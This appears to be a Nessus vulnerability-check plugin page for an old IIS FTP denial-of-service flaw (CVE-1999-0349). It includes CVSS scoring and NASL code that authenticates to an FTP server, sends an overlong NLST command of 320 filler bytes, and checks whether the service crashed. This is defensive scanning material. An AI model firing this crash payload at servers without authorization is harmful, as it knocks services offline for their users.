CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
EPSS
Percentile
79.4%
It is possible to make the IIS FTP server close all the active connections by issuing a too long NLST command, which will make the server crash. An attacker can use this flaw to prevent people from downloading data from your FTP server.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if(description)
{
script_id(10118);
script_version ("1.45");
script_cve_id("CVE-1999-0349");
script_bugtraq_id(192);
script_xref(name:"MSKB", value:"188348");
script_xref(name:"MSFT", value:"MS99-003");
script_name(english:"Microsoft IIS FTP Server NLST Command Overflow DoS");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a denial of service
vulnerability." );
script_set_attribute(attribute:"description", value:
"It is possible to make the IIS FTP server close all the active
connections by issuing a too long NLST command, which will make the
server crash. An attacker can use this flaw to prevent people from
downloading data from your FTP server." );
script_set_attribute(attribute:"see_also", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/1999/ms99-003" );
script_set_attribute(attribute:"solution", value:
"Apply the patch referenced above." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
script_set_attribute(attribute:"vuln_publication_date", value: "1999/01/24");
script_cvs_date("Date: 2018/11/15 20:50:22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:microsoft:iis");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"FTP");
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_dependencie("ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl");
script_summary(english:"Crashes an IIS ftp server");
script_require_ports("Services/ftp", 21);
script_require_keys("ftp/login");
exit(0);
}
#
# The script code starts here
#
include("global_settings.inc");
include('misc_func.inc');
include('ftp_func.inc');
login = get_kb_item_or_exit("ftp/login");
password = get_kb_item("ftp/password");
port = get_ftp_port(default: 21);
soc = open_sock_tcp(port);
if (! soc) exit(1);
if(ftp_authenticate(socket:soc, user:login, pass:password))
{
port2 = ftp_pasv(socket:soc);
if (!port2) exit(1);
soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
command = strcat('NLST ', crap(320), '\r\n');
send(socket:soc, data:command);
close(soc2);
}
close(soc);
if (service_is_dead(port: port) > 0)
security_warning(port);